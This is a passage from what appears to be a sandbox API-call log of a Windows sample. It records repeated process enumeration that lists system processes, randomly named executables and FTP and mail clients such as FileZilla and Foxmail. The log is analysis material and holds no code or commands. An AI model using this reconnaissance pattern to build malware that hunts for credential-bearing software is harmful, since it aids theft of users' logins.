th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0114.876] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x2a4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0114.878] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0114.881] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0114.884] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0114.887] CloseHandle (hObject=0x20e0) returned 1 [0114.887] Sleep (dwMilliseconds=0x64) [0114.987] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e88 [0115.005] Process32First (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0115.008] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0115.010] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0115.012] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0115.014] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0115.018] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0115.020] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0115.023] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0115.026] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0115.030] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.032] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.035] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0115.038] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.041] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.043] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.046] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.048] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.051] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.057] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.060] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0115.063] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.065] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0115.102] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0115.104] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.106] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0115.110] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0115.113] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0115.115] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0115.120] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0115.122] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0115.125] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0115.128] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.131] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0115.134] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0115.135] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0115.137] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0115.139] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0115.141] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.143] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0115.145] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0115.147] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0115.150] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0115.151] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0115.153] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0115.155] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0115.157] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0115.159] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0115.161] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0115.163] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0115.165] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0115.167] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0115.169] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0115.171] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0115.173] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0115.175] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0115.178] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0115.180] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0115.182] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0115.185] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0115.187] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0115.189] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0115.192] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0115.195] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0115.198] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0115.201] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0115.204] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0115.207] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0115.210] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0115.263] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0115.266] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0115.269] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0115.273] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0115.277] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0115.280] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0115.283] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0115.286] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0115.290] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0115.294] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0115.297] Process32Next (in: hSnapshot=0x1e88, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, 